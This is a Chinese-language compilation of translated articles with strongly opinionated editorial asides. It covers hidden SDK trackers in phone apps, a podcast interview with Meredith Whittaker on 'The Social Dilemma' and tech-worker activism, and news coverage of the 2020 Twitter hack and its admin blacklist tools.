“你现在已经得到了所有这些第三方API和库，这些**API**和库已经被引入到这个生态系统中，无论是用于广告、连接到社交网络、还是用于分析目的，” Sadeh 说，“这个生态系统已经变得非常复杂，所有这些导致的数据流是非常多样化的，很令人担忧。”

有时，SDK会收集并将数据发回给提供SDK的第三方，这并不是应用功能的一部分。几个月前，Zoom的iOS移动应用就被发现通过其SDK向 Facebook 发送额外数据，Zoom表示这是无意的。许多其他应用也做了同样的事。

- 《不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全》

这就是追踪监视渗入的地方。您的设备上的应用程序向第三方发送的数据可以用来建立应用程序的用户档案，然后广告商可以利用这些数据进行有针对性的广告。您很可能甚至不知道哪些数据正在离开您的设备，它如何被用来追踪您，或者它的去向究竟是哪里。

位置数据得到了最多的关注，因为它最具侵犯性（《你的手机知道一切，并且很愿意告诉警察：法律不保护你》），但还有很多其他方式被用来跟踪您或推断您是谁，以便向你投放广告。

公司希望把他们的SDK放在尽可能多的应用程序中，以便从尽可能多的人那里收集尽可能多的信息。即使是开发者也可能不知道（或不关心）他们的用户隐私何时以及如何被侵犯。

“比如我是一家初创公司，我正在快速引导一个应用程序 —— 我需要快速制作一些东西。我只需要捆绑了一堆SDK，编译应用程序，然后把它放到 App Store 上，就行了”，耶鲁隐私实验室的创始人和执行董事 Sean O’Brien 说，“而且作为一个开发人员，我可能甚至都不知

道我自己的应用程序中有些什么。”

也有报道说SDK故意恶意抓取了比他们应该抓取的数据多得多的数据，并可能是在开发者不知情的情况下，当然也可能是在用户不知情的情况下。

O’Brien 建议开发者对自己的应用进行隐私审计，以避免这种情况的发生，但这并不总是开发者想要分配资源去做的事，就连 Zoom 这样的大公司也是如此。

应用生态

通过SDK进行跟踪在应用生态系统中已经根深蒂固。从这个角度来说，它与互联网类似。我们在网上所做的几乎所有事从一开始就已经被跟踪和货币化了（见 cookies）。因为应用在设备本身，而不是通过网站访问 —— 而且因为人们现在使用应用程序做很多不同的事，并且整天带着应用程序所在的设备，所以它们能够收集大量关于每个人的信息。

- 不要错过，这里是一个手机为什么危险的详细说明《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

隐私权律师和技术专家 Whitney Merrill 表示：“SDK在某种程度上类似于 cookie 的移动形式，但功能更强大。”

开发者会在他们的应用中安装广告网络SDK，让他们为用户提供有针对性的广告，以及收集一些用户数据回传给广告网络。例如，Facebook 的广告SDK将根据 Facebook 对您的了解，在您设备上任何拥有SDK的应用中显示针对您的广告 —— 根据SDK和应用智能公司 MightySignal 的数据，数十万个应用都是如此。

根据 App Annie 的2020年移动广告现状报告，2019年，公司在移动广告上花费了1900亿美元。这些广告主要是定向广告，使用通过SDK以及其他来源收集的数据，并主要通过广告网络SDK发送给应用。

免费的应用（甚至有时也包括您付费的应用）通常只是因为它们从广告中赚了钱或提供了位置数据而存在。没有针对性的广告价值很低，而且要雇人为你的应用获取广告那需要花钱，而自动执行此操作的广告网络SDK则是免费的。

大多数生产这些SDK的公司都会说，他们收集的数据是无法识别个人身份的（通常这只是意味着它附加在设备ID上，而不是设备所有者的

身份证上），用户要选择加入其收集，并且隐私政策会让用户了解他们的数据是如何被使用的。但是，这都是骗人的。隐私专家已经多次强调，去识别的数据往往可以被重新识别，永远不会有真正的匿名，特别是当数据经纪人从如此多的来源中拥有如此多的数据时。

Sadeh说："他们拥有的关于我们每个人的数据量之大令人难以置信。数据经纪人基本肯定会重新整理所有这些数据，他们非常擅长干这个。"

X-Mode 和 Cuebiq 分别在300个和180个应用中有SDK，位置追踪选择率分别为55% ~ 85%和20% ~ 45%，他们都宣称 "隐私对他们来说很重要，也一直很重要，他们完全遵守隐私法，他们相信有一种方法可以在保护隐私的同时，还能对收集到的数据进行有价值的洞察"。

这只是继续骗人。

如何最大程度地减少对**SDK**跟踪对您的人权的伤害

多年来，应用商店和操作系统已经打击了一些这样的跟踪。他们允许用户选择哪些应用程序可以访问他们手机的某些部分，弥补那些允许应用程序在关闭GPS服务的情况下也能跟踪位置的漏洞，并创建了广告特定的设备标识符，以掩盖设备的实际标识符 —— 这一点无法改变，是数据公司和广告商在应用程序中跟踪人们的主要方式之一。

这就像打地鼠游戏：数据公司一直在寻找跟踪用户的新方法，而操作系统开发人员也在不断寻找停止或更好地控制该跟踪的方法。

如果您不想简单地相信位置数据公司、数据经纪人或广告公司将您的人权利益放在心上的话，您可以做一些事来防止您的信息被他们偷走。

苹果和安卓现在给设备所有者提供了限制广告跟踪的选项，所以您可以利用这点。您也可以限制 Facebook、Google 和 Twitter 等服务的广告追踪。

如果一个应用程序要求允许使用您的位置等设备功能，只有当它是您真正需要的东西时再去点 "同意"，并且只有在您真的要使用位置服务时再打开它。

请仔细阅读您下载的应用的隐私政策，尽可能了解他们是否在分享您的数据以及与谁分享，并尽可能选择不与位置数据分享 —— X-Mode 和 Cuebiq 都提供了直接进行分享的方法。大多数隐私专家都认为，

不可能真正停止在这些设备上和通过其应用程序进行的跟踪，但至少应该尽可能减少跟踪。

通过SDK跟踪的不确定的未来

直到几年前，人们在很大程度上还依靠这些公司来进行所谓的自我监管，他们中的大多数人都说自己“做到了”。但是，他们的数据处理方式往往太不透明，无法确定是否属实，而过去的先例表明，这可能不是真的 —— 仅《纽约时报》就获得了各种敏感位置数据记录的访问权限，不是一次，而是两次。只有持续的外部的压力似乎才有了一点点改变。

- 重要内容《1200万部电话，一个数据集：利维坦眼中的世界》
- 重要内容《“如果你不偏执，那就是疯了”》

在操作系统层面，苹果多年来已经制定了多项隐私和控制的改进措施，它宣布即将推出的iOS 14时就这么宣称的。在这些改进中应用程序将不得不告诉您他们想跟踪您的事实。并得到您的同意这样做；他们将不得不告诉用户他们收集了什么信息、使用什么跟踪器、以及如何识别用户身份。

- 这可远远不够，远远不足以摆脱监视资本主义《声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏》
- 反抗者应该了解《以隐私为目的的斗争如何让你变成了监视的盟友》

但是，最基本的是您应该知道，苹果还必须权衡其 App Store 开发人员的需求（其商业模式取决于广告）与客户的需求之间的平衡，客户希望避免跟踪，并花最少的精力来防止这种情况。

“还有一个主流观点那就是认为如果你给人们太多的选择，他们就会产生通知疲劳”，Merrill 说。打开一个新安装的应用，不得不点击比如说20个不同的设备权限，这很可能不是用户想要的体验。

Merrill 补充道：“那将是一种可怕的体验，因为你会收到所有这些弹出式窗口，而你只会说，‘老子只想用一下那个该死的应用’。”

苹果告诉 Recode 称，它正在不断完善其操作系统，“以最大限度地减少离开用户设备并被发送到应用程序的用户数据，同时仍然可以实现功能，并且不强迫用户点击一堆权限弹出窗口”。

还有一些法律要求一定的披露和同意，当然似乎有制定更多法律的势

头。除了欧盟的《一般数据保护条例》，还有加州的《消费者隐私法》。其他各州也纷纷效仿，提出了自己的数据隐私法，还有几个联邦版本正在出台。许多隐私专家认为，这样的立法如果做得好，是真正规范数据行业的唯一途径。位置数据公司的CEO们表示，他们对此表示欢迎。

- 但您应该知道《为什么隐私保护法规并没能起到作用？》
- 并且《隐私法案管不住 Facebook 和 Google，怎么办》
- 以及《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 为什么寡头公司“欢迎”政府监管？《拥护的背后》

O’Brien 也认为，移动广告追踪问题无法通过法律来解决，只能通过创造它的同一种东西来解决：金钱。

“我确实认为会有一点清算”，O’Brien说，“对于其中一些公司来说已经开始有了，尤其是当经济开始下滑，目标广告业务跌出谷底的时候 —— 这似乎确实在发生。现在撤出 Facebook 的公司并不只是因为他们对马克·扎克伯格不主持平台或允许特朗普做任何事而感到震惊，他们之所以这么做，是因为他们没有看到自己十年来为 Facebook 支付的广告费的回报。”

目前一些研究表明，定向广告对品牌的价值只比非定向广告略高一点，如果把失去用户信任、广告网络费用和符合隐私法的工具费用都考虑在内，甚至可能价值不高。

“传统上向 Googles 和 Facebook 等公司输送资金的公司，他们现在的地位非常不稳固”，O’Brien 说，“而他们只把大科技公司当作某种赌场，把钱扔进老虎机的能力，是不会持续太久的。”

话又说回来，去年 Twitter 的广告业务受到了影响，因为该公司表示，它不得不削减收集数据的数量（它“不小心”收集了太多的用户信息，即使用户明确要求公司不要收集），然后这些信息被用于定向广告。但这恰恰说明，新的法规和用户的隐私欲望确实对定向广告业务产生了影响 —— 而这又可能导致变革。

然而，目前，您的数据是广告商想要的，也是移动应用生态系统的设置所要提供的。如果通过SDK追踪器收集到的关于您的信息可以用来帮助阻止冠状病毒，那可能是您愿意做的交易；但是，如果它被用来跟踪监视抗议者和异议人士，那就不那么容易接受了。

在没有良好的法律可以规范如何收集和使用您的数据的情况下，您只需要坚持拒绝信任这些公司，并做好尽可能充分的自我保护。

- 不要错过 《难以被追踪》系列，这里是您最基本应该做到的

○

The hidden trackers in your phone, explainedThe hidden trackers in your phone, explained

原文

技术的政治权力，和 “社会困境” 的缺陷：访谈 - iyouport

你应该了解的现实监视资本主义的世界算法暴政

【2020年12月4日存档】当时我们发送 Netflix 这部纪录片的种子时只是简单地写道：它没有触及到根本问题。换句话说，我们认为这部在中国很流行的片子事实上并不好。本文是一期播客节目的笔录，它更详细地解释了为什么这部片子很差劲，甚至是危险的 。

Kantrowitz 与AI研究人员 Meredith Whittaker 合作制作了这期博客，后者帮助领导了**Google**员工在**2018**年的罢工。这次采访是在 World Summit AI 上进行的，下面文章经过了篇幅结构和清晰度的编辑。

您可以通过 *Apple Podcasts*，*Spotify* 和 *Overcast* 订阅他们的播客。

以下是笔录。

Alex Kantrowitz：本月早些时候，当我就《社交困境》这部流行的纪录片采访 Tristan Harris 时，我的提问中充满了如很多人所说的那样的话：“你应该和那些早在该纪录片策划之前很久就对社交网络持批评态度的人们谈谈。”【嗯，这也是IYP的想法之一：“你早干什么去了”】

下载：*https://t.me/iyouport/7665*

然而，有一个名字脱颖而出：Meredith Whittaker。

作为一名 AI 研究人员和前寡头科技公司谷歌的员工，Whittaker 在2018年帮助领导了谷歌员工在公司内部的行动主义罢工运动。在这期播客中，我们不仅谈到了她对这部纪录片的看法，还谈到了科技公司内部职场激进主义反抗的未来 —— 有些人正在质疑内部反抗的推动能力。

Alex Kantrowitz：您对 “社会困境” 这部纪录片的看法似乎与 Tristan 的看法有些不同。您认为它在哪里对、哪里错？

Meredith Whittaker：这部纪录片的一个最重要的缺点是，它排挤了很久以来很多人一直在对整个问题的更细微层面上所进行的研究和呼吁。比如 Safiya Noble, Sara Roberts, Ruha Benjamin 等等研究人员。

我尤其需要提出就如 I’Nasah Crockett 和 Sydette Harry 这样的黑人女性，她们早在2014年和之前就开始呼吁抵制4Chan这样的留言板上正在滋生的种族主义trolls。

有很多人其实一直在关注通过社交媒体平台产生的和被放大的那些问题，以及现在极少数科技寡头所凝聚的至高无上的权力。

- 大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于“选举”而神圣化的约会……《国王们的晚宴—— 这是一场看不见的政变》

这是该纪录片存在的最重要问题之一，随着对关键背景的抹杀，它抹杀了一些最基本的伤害。

这些垄断的寡头平台和专制的算法系统中，种族主义的丑陋历史、厌女症的历史被重新再现和放大。正如 Safiya Noble 早已准确指出的那样，是谁在负责这种类型的目标骚扰和算法专制对整个世界伤害？坦率地说，又是谁因此而从中获利？

很多接受媒体采访的人都是居于捞好处的一方的，在科技公司工作的我自己当然也是这样 —— 此后我成为这项技术的批评者。但如今很多批评都是在非常大程度上借鉴了上述早期工作的，他们只是那些先驱的复读机而已。

我很想在你的播客中看到一些这样的人，我更想看到的是，这些批评能丰富其中的一些观点。

AK：Tristan 提出的观点是，《社会困境》这部片子之所以不错，是因为它让那些打造软件的人看到，“我们打造了一个科学怪人”。你对此怎么看？

MW：这只是一种说法，但这并不能抹杀一个事实，那就是，这些人是接受了平台的人 —— 很多第一次了解相关问题的人都是从这个角

度了解的。在这些辩论中，你提出的声音、你代表的人，很重要。

这并不是大家“刚刚想到”的一系列全新的问题。相反，围绕着这些问题，人们已经进行了几十年的工作和探索，但一直以来这些问题在很大程度上被忽视、被压制、被否定，或者只是被认为是所谓的“积极创新”的副产品。直到硅谷的白人富豪们，坦率地说，开始自己感受到其中的一些影响时，它才被真正重视起来。【Netflix就是这些白人富豪们之一，也是为什么该片不会触及问题的根本】

AK：我认为这是公平的批评。让我们来看看反对这部纪录片本身的争论。目前的观点中有没有错过了什么？

MW：我将强调几件我认为在任何技术及其社会影响的分析中都非常重要的事。

第一件真正困扰我的事是，这种持续的图景、这些类型的技术、这些社交媒体feed、算法系统、相关策划等等，一些表面上的东西，人们被引导着认为似乎做到这一切的几乎是超人。你经常能听到例如“可以黑入脑干”这样的短语。叙事者真的把这一切描绘成了一个“高超技术的壮举”。

我认为这忽略了一个事实，那就是：很多东西其实并不是所谓创新的产物，而是权力和资源高度集中的产物。这不是进步；相反，这是一个事实：我们现在都或多或少地接受了携带智能手机这种史上最强大的监视器作为社会互动的一部分在我们的日常工作生活中，将其视为“能够”融入周围世界的工具。这在疫情期间大幅增加。正是源于这种叙事的误导。

- 所谓的便利性并不是由个人自由选择的，而是现代性技术秩序在各个方面所要求的。也就是说，“方便”，从根本上来说，是强加给每个人的。见《便利的暴政》

我认为这最终延续了一个神话—— 正是这些寡头公司自己讲述的那种神话：“这种技术是超人”， 我认为这也描绘了一幅图景—— “这种技术是某种程度上不可能抵制， 我们不能推倒它， 我们不能组织起来反对它”。让你陷入虚无 —— 这就是那些寡头骗你的目的。

- 推荐详细论述及一本新书《被流行语掩盖着的 *技术专制主义* 时代》

Fear is unnatural. Lightning and thunder are

> *unnatural. Pain, death, reality, these are all unnatural. We can't bear these things as they are. We know too much. So we resort to repression, compromise and disguise. This is how we survive the universe. This is the natural language of the species*

AK：这部纪录片的确认为设备和应用程序难以抗拒，继续给人们洗脑。

MW：我把这些公司看成是在这种情况下几乎不可逾越的权力中心。

在西方的背景下，大概有五家公司在主导权力中心。这些公司是计算网络基础设施商业化的产物，互联网也是广告技术和其他平台服务发展的媒介，使他们能够利用基础设施和大量的数据收集管道获得稳固的立足点。

这些公司代表着控制全世界人们基本生活的非凡权力 —— 它们并不神奇。这种力量体现在它们有能力把教育技术送到所有的学区、取代其他种类的真实的社交论坛、在人们的一切基本生活和常规机构中穿行。他们努力成为一切空间，然后他们把自己在这些空间中的角色金融化、商品化。

我认为我们需要分析这些公司所拥有的物质权力，再仔细研究一下这些技术到底是如何运作的。

科技公司内部行动主义反抗的未来

「图」

AK：您在Google内部的抗议活动中扮演了非常重要的角色。现在您可以看一下事后的好处了。您认为这种激进主义在公司内部起作用吗？

MW：是的，我当然认为反抗有效。但同样，我也并不认为这种组织形式是就事论事的。目标是既要回击眼下的不道德行为，也要抵制恶劣的商业决策和危险…

AK：为了观众的利益，我们正在谈论使用人工智能的问题。在战争中，决定向被指控性骚扰的谷歌高层支付9000万美元，然后用于杀害平民的技术 …

MW：是的，所有这些事。还有对合同工的不公平待遇，这些合同工占了我们同事的一半以上，但却没有享受到全职工作的权益，当你想到一个庞大的、“光荣的”科技公司员工队伍时，你就会被这种不公平所震撼。

AK：谷歌最终没有与 Maven 续约。随后被指控在谷歌内部行为不端的人被解雇了。而劳动者，我想劳动者权益问题依旧是未知的 …

MW：是的，他们不情愿地改变了一些政策方向。同样，这是一场持续的斗争。这不是你通过改变高管们的想法就能获胜的一次性斗争，绝不能因为仅仅这一次获胜就停止反抗。

我们的反抗面对的是资本主义的逻辑。资本主义逻辑决定了最终的目标函数，用一个 **AI** 术语来说，任何公司的目标函数都是持续的收入增长，持续的指数增长，永远随着时间的推移增长。我们开始质疑，因为我们看到了我们生活的地球的脆弱性，以及这种操作对世界造成的伤害，以至于我们现在正经历着气候混乱的开始，以及有组织的人类生活的潜在结束。

- 数字技术如何毁掉了更加公正的社会的可能性《社区应该是什么？是谁在玩坏这个概念？》

我们要确保我们所有的同事都有一份有尊严的工作，不必睡在车里，能够赚取生活费，有医疗保健，我们要消除这些两级分化的工人制度。我们真的想做到这一点，因为这就是最基本的正义。

在这样做的同时，我们也想建立集体的力量，获得自己做这些决定的权力，有更多的集体决策权，而不是把这些留给最高层的一小撮人，他们的职责是对董事会、对股东的利益服务，他们始终是围绕这些资本主义的激励机制来调整自己的决策的。

AK：这些非常强大的公司不应该采用更加民主的方式来决定应该做什么吗？

MW：并非如此。尤其是当你看到的是像谷歌这样的公司所拥有的巨大权力时。这是惊人的，想想这个地球上有多少异常私密的个人信息，该公司掌握着全世界几十亿人的一切， 就是字面上的意思，对不对？有一屋子的斯塔西档案，针对每一个人类。这是史无前例的惊人，该公司使用所有这一切数据来创建他们的**AI**模型，以统治世界——替代最重要的机构和全人类作出极为敏感的决定。

因此，我认为在两个层面上我们确实需要认真对待这种权力，并认识到其中的风险。

我们的组织工作的一部分也是在建立吹哨人网络。开始建立内部有组织的工人和外部其他社会运动之间的联系，这样我们就可以以预示更广泛的民主决策的方式来组织。

这种允许民主控制的基础广泛的运动将是必要的，以创造或重新创造技术，可以为公众利益服务的技术。

- 不要错过《简易吹哨平台传输泄漏数据：洋葱汤指南》
- 《(公民)调查记者如何与吹哨人合作：7点提示》

但我同意你的观点，我们的目标并不是要在谷歌内部建立这种密不透风的职场民主。我们不希望有更多基本相同的人集合在一起做这些决定。我们在组织中所做的是旨在为集体讨论和决策开辟更多的空间，并预设这些更广泛的联系，与那些直接受到谷歌许多决策影响的人建立联系。

最终的目标将是与其他社会运动连接起来，并确保那些在地面上的人—— 那些最容易受到谷歌为无人机瞄准而建立的 **AI** 武器的杀伤威胁的人，和我们的反抗运动连接起来。

我认为抵制移民局的 No Tech for ICE 运动就是一个很好的例子，你看到整个行业的科技工作者带头在美国南部边境做移民政策、移民宣传的人，真正了解被这种技术追捕和追踪的背景，把这种情况传达给那些没有这种经验但可能了解这些系统如何工作的人，建立一个运动，然后反击那些向ICE提供这些类型监视系统的公司。

- 不要错过重要内容《当您准备寻求庇护 …… 移民和难民需要注意的10大威胁》

AK：我只想做一个简短的题外话，因为您提到了谷歌收集的斯塔西式文件。 Google 员工可以输入别人的名字以访问这些个人信息吗？

MW：我把它作一个比喻吧，因为它比普通数据库中那种碎片化的数据更容易掌握，如果不把这些信息与什么东西相匹配，我甚至可能无法识别。

他们确实收集了所有这些信息，在这一点上，我要说的是，要收集这些信息并不容易。他们记录的非常吃力，这部分是因为我在2006年开始工作的时候收集这些信息要容易得多。有几起事件造成了难度加

大，虽然并没有停止收集 ……

AK：Coinbase 的 CEO Brian Armstrong 禁止员工在公司内部进行政治活动，这在硅谷引起了不小的轰动。我想了想，对自己说：也许员工的政治能量通过正常的政治渠道来引导，会比在公司内部努力反抗更好？

MW：我对这种框架有很多疑问，因为，当说到传统的民主政治制度时你指的肯定是在没有选民权利被剥夺的情况下进行的对吧，而选民权利被剥夺早已成为了近20年来极右议程的一部分；您在组织公民联合之前考虑过此事吗？是否想过有数千亿美元的公司黑钱涌入这些政治活动？在这种情况下如何才能让自愿参加投票和组织内部反抗一样有效？

我想这是一个我们都必须面对的问题 —— 我们现在所面对的是一个异常萎缩的政治体系，它已经濒临破碎、已经处于法律行动主义和游说之有效性的终点。现在，Amy Coney Barrett 的听证会正在进行，这可能会进一步削弱我们所拥有的最后的选民保护线。所以，我想再次强调，你必须对这个框架非常谨慎。

AK：如果人们不喜欢政治制度的运作方式，指出它的错误是一回事，放弃修复它就是另一回事了。我想知道如果把精力放在尝试推动一些良性变革方面会怎么样？

MW：是的，我认为要想反击这种情况，就得反击这些企业黑手们的钱，这些钱被推到极右翼的事业上， 所以，同样，我认为我们不能忽视这种巨大的影响。这些大型公司在塑造我们的政治体系、甚至个人意愿 … 公民的善意和志愿服务和这些巨人相比简直微不足道。

这并不是说让人们放弃政治手段。您必须尝试所有的工具。一定要投票，让你的父母去投票，要真正利用政治去做工作。坦率地说，我认为工人组织也是政治。

Coinbase 的故事中被遗漏的一部分是，其首席执行官写下那种争议性的博客文章后，一些工人最终举行了罢工，因为该CEO拒绝承认BLM。所以这已经有了背景。在白人至上主义空前高涨的大背景下一个CEO拒绝BLM运动，你怎么看？而且该公司还朝着专制主义发展？我认为这就是政治。

- 不要错过，关于中国反抗者应该从BLM运动中学习到的东西：
- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》

- 《把暴力抗议玩成生意的人：通过BLM（2）》
- 《监视器“眼中”的抗议运动：通过BLM（3）》
- 《秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4）》
- 《当甘地错了 ……：通过BLM（5）》
- 《警察如何使用推文监视抗议运动：通过BLM（6）》
- 《伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹》

AK：毫无疑问。好吧，你说了实话，所以你被报复了。你不得不离开谷歌、还有 **Claire Stapleton**，另一个罢工组织者，也被炒鱿鱼了。在亚马逊内部，我报道过另一家公司，亚马逊前副总裁蒂姆·布雷，也在亚马逊的吹哨人被解雇后离开了。现在很多罢工领导者都辞职了，接下来会发生什么？

MW：好吧，令人高兴的是，据我所知，这些公司仍有很多组织活动在进行。好消息是，与您的同事进行组织的方式还有很多，而不会招致吸引媒体注意的公众攻击，这是我们策略的一部分。

但是，有很多领导人不知道该组织的成员都是谁。许多人不想、或者出于某种原因，不想冒险被公开。我们每个人都做出了自己的选择，但同样，我当然不认为这削弱了组织工作的力量，我想提醒大家不要把知名度与持续性等同起来。

有很多组织化的工作在继续，就像你在 Coinbase 看到的那样，我们现在在整个科技领域的工具箱里保留了一些反抗工具，比如说罢工，许多 Facebook 员工在吹哨并辞职之前写下自己的故事，这些做法正在成为常识。

我认为这是反抗组织和反抗意识随着时间的推移而扩大其影响力的方式之一，在我入职时所发生的反抗组织与我们现在所看到的反抗之间肯定存在连续性。后人正在从前人的经历中吸取教训。他们正在锻炼自己更强壮的肌肉来继续反抗工作。

AI伦理

「图」

AK：对于很多人来说，“**AI**伦理”这个词已经成为一个避雷针了，只要顶上这么一个避雷针，科技公司就可以继续他们侵犯性的技术开发。我不喜欢 James O’Keefe 的方法，但我发现他的一张幻灯片很有

意思。它谈到算法是如何被编程的，所有内容都通过这些算法被过滤，其结果就是编程每个人的大脑。

MW：我觉得 James O’Keefe 所参与的整个项目都存在极大的问题，而且非常、非常站不住脚。我坚持我围绕《社交网络》这部片子提出的批评 —— 它将科技描绘成一种近乎神一般的力量，能够用算法的力量征服我们这些凡人 —— 并不是这样的。同样，这也支持了一些言论，具有讽刺意味的是，这些言论就来自那些寡头科技公司本身，他们声称这些系统可以做很多它们从未被证明的事。

AK：我认为那是Google内部的幻灯片。

MW：好吧，我不同意这样做的人。再说一次，我没有花很多时间来消化 Veritas 项目。

AK：同样，我也不喜欢这种方法。但是我觉得有些时候值得看看他们发掘的一些材料，无论方法是否合适，然后再讨论一下。

MW：是的，我认为它在助长双重叙事 —— 科技公司有一个利益，就是把这种技术说成是无懈可击的，因为这种叙事证明了这种技术在他们能赚钱的领域中的扩散是合理的，而极右虚无主义者则有另一个利益，就是把这些技术说成是我们需要非常害怕的、可怕的祸害，因为它使那些试图征服这些公司的运动停滞，并最终使人们屈服于这些公司。

AK：您认为这些极右的目标是什么？

MW：我对 “AI伦理” 这个词有意见，因为我认为它的范围太广，以至于毫无意义。

我们确实对 Google 成立的所谓道德审查委员会进行了反击，因为这正是该公司试图捍卫他们在人工智能军事化技术方面的选择的工具，目的是平息一些异议人士的反对。

这些所谓的委员会聘请了美国传统基金会主席 Kay Coles James，该基金会是一个右翼组织，她本人和整个组织都采取了许多相当有力的反 LGBTQ 立场。

你可以看一下这些AI的工作方式、通过机器学习工作构建的系统，对于使用这些系统的任何人来说，很明显，它们并不是智能的。它们要做的是处理大量数据，无论它们拥有什么可用数据，并从这些数据中构建世界模型。

因此，如果您向它们展示一堆有关猫的数据，它们将会说：这是一百万张、两千万张猫的照片。他们将对猫的样子有所了解。然后，如果您给它们看卡车的照片，它们就会说："那不是猫"。您再给它们看一张猫的照片，它们会说："我预计这是猫。" 这就是它们的工作方式。

这些所谓的 AI 从我们的现实生活的世界中获得了代表我们过去和现在的所有数据，并且它们非常不可还原地编码了这些数据中的值。

所以，就如 Joy Buolamwini，Timnit Gebru，Deborah Raji 等人一遍又一遍地研究所表明的那样，这些系统复制了种族主义模式、厌女症模式等所有人类最糟糕的东西。在下面看到具体分析：

- 重要内容《挖掘AI：机器学习训练集中的图像政治》

机器在对世界的理解中对这些假设进行了编码，因为，当然，机器的理解是基于从相同的世界、相同的环境中提取的数据进行训练的。

因此，当您查看人工智能系统的政治性时、当您研究它们的含义时、当您在观察偏见和公平问题时，是的，甚至在基本道德方面，您都需要非常重视那些遭受边缘化危害的人们的观点。

我们围绕这些问题进行的很多反抗工作，都是在推翻这样的避雷针，并推进这样的理念 即：我们真的需要以那些最有可能受到这些制度伤害的人的声音为中心。

AK：在亚马逊内部有个非常著名的案例，他们建立了一个用来招聘的算法，即使不告诉该算法应聘人的性别，它也会自动寻找能说明这个人是女性的属性，然后从搜索中删除。最后变得实在太烂了，以至于亚马逊甚至自己放弃了这个算法。

MW：是的，这是一个经典的例子。我认为这也是一个非常有趣的诊断工具，可以反映出亚马逊雇用实践中持续存在的厌女症。

我们还可以认为这些系统向我们展示了一些令人不适且潜在的问题，正是这些问题构成了数据构造的一部分（在亚马逊的情况下，包括简历、聘用、权重、绩效评估等），就是这些东西在训练此算法。

AK：让我们以这个问题结束。就如您发推文所说的那样："如果你可以关闭互联网，你会这样做吗？"

MW：在我发这条推文的时候我还发布了另外一件事，我是在寻找一个能真正认真对待这个问题的人，认真地想一想：您认为这是积极还

是消极的力量？我将与那些经过深思熟虑的人一起工作 —— 将互联网关闭的原因是什么？保持下去的原因又是什么？所有的情况都需要被考虑到。

我的观点是，要确保这些计算网络技术最终能够为民主目标服务，是非常困难的，这意味着互联网以及在这些原始协议和所有基础架构之上构建的任何东西都需要废除，因为所有一切都是专有的而非民主的，这只是第一步而已。

- 目前的治理体系支持强资本主义/软民主。在这种平衡被重组，支持软资本主义/强民主之前，我们创造的任何技术都将继续不利于民主 …… 推荐这个论坛：《数字技术究竟是会杀死民主，还是拯救民主？：这个10年》

考虑到目前正主导这些基础设施的权力高度集中化、以及新自由主义资本主义驱动的那些正在主导那些基础设施的人们，你会发现，很难真正地将互联网用于民主—以人为本的目标。但是，我认为值得一战。

我当然不是反技术的人，但是我认为我们必须认识到这些是权力和控制的问题，而不是继续去假想这些技术的所谓 “善意使用” 的问题。从不要再欺骗自己开始。我们需要研究当具有某种资本主义激励措施的极少数人控制着该技术的全部使用和效用时，实际会发生的状况。○

音频：Google Protest Leader Meredith Whittaker on the Future of Tech Activism and the Deep Flaws of ‘The Social Dilemma’

原文

推特骇客报告证实了用于社交媒体审查的工具的存在 - iyouport

你应该了解的现实你我的灾难现实关于亚马逊、苹果、推特

【2020年11月19日存档】没有可以绕过这种审查的方法。

【注】其实人们早已发现了一些问题。某些时候一些用户觉察到自己的TL “流速变慢”，“似乎朋友们集体淡推了？”；还有一些用户发现通知中弹出的都是一些 “愚蠢的内容甚至虚假消息”；更有一些用户发现通过搜索都难以找到自己真正想要的内容，甚至互粉对象都不会出现在您的TL上 ……

其实中国用户应该知道 “降级” 是什么意思（就是减少您发布的内容的可见度，降级到0的时候就是只有发布者自己可见），以及 “算法专制” 是如何运作的（算法筛选哪些内容能出现在您的TL上，哪些不能，不论您是否关注了发布者或是否互粉），因为中国用户在中国的社交媒体上对这类无形的审查技术已经很熟悉了。您经历过这种情况吗？我们经历过，在*Facebook*，也是为什么我们放弃了*Facebook*主页的使用。请注意，*Glenn*的经历是在他因拒绝审查而辞职之后不久，也是大选投票的关键时期

这里最值得关注也许是，中国的**GFW**造成了一种错觉，人们下意识觉得 “墙外” 是完美的，甚至 “是安全的可以畅所欲言”。不幸的是这都不是真的，不论任何理由如果您继续使用寡头服务 —— 不论是中国寡头还是美国寡头 —— 都没什么区别。他们采用的是同一个监视资本主义体制 。

也许对于推特来说您会有 一些方法来绕过算法对内容的操纵，见《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》，但是，今年被骇客攻击所暴露的审查手段，您不可能用任何方法绕过。

这就是为什么说科技寡头才是这个世界真正的统治者 —— 当生杀大权被掌握在极少数人手里的时候、当大部分人的认知被极少数人暗中操纵的时候、当您对这一切没有任何发言权的时候，我们理所当然应该称其为专制主义。

自从今年7月骇客入侵 Twitter 安全系统并劫持了几十个备受瞩目的账户以来，此后一周内发布的新闻报道已经证实，推特管理员一直在使用一个仪表板，将内容列入黑名单并进行审查，甚至瞄准特定用户及其个人推文。

纽约时报7月17日的报道证实，一张最初由 Motherboard 在黑客攻击事件发生的当天分享的截图是真实的，之前在WSWS上也有报道，该截图显示，Twitter 的后台管理工具包括 “搜索黑名单”、“趋势黑名单” 和 “通知秒杀” 等多个功能键。

除了这些功能 —— 清楚地表明 **Twitter** 员工有能力扼杀信息和屏蔽其平台上的任何推文或用户之外 —— 该审查工具还可以用来修改与账户相关的电子邮件地址。后者的功能可以将 Twitter 账户所有权从一个人转移到另一个人身上，也就是此次攻击者用来控制高知名度账户的该仪表板功能之一。攻击者“Kirk”共享的屏幕截图，证明他违反了Twitter的安全性并访问了推特后端管理面板

7月15日下午和晚上，匿名骇客访问了 Twitter 内部员工使用的仪表板，并劫持了多名公众人物的账户 —— 包括奥巴马、坎耶·韦斯特、比尔·盖茨、和伊隆·马斯克 —— 这些账户都拥有数千万的粉丝。

在这个 Twitter 自己描述为 “协调的社交工程攻击” 中，骇客反复通过被入侵账户发布推文，作为以比特币形式骗取公众资金的计划的一部分。

- 这种诈骗形式不是第一次出现，见《演示：对 Elon Musk 比特币诈骗的开源调查》

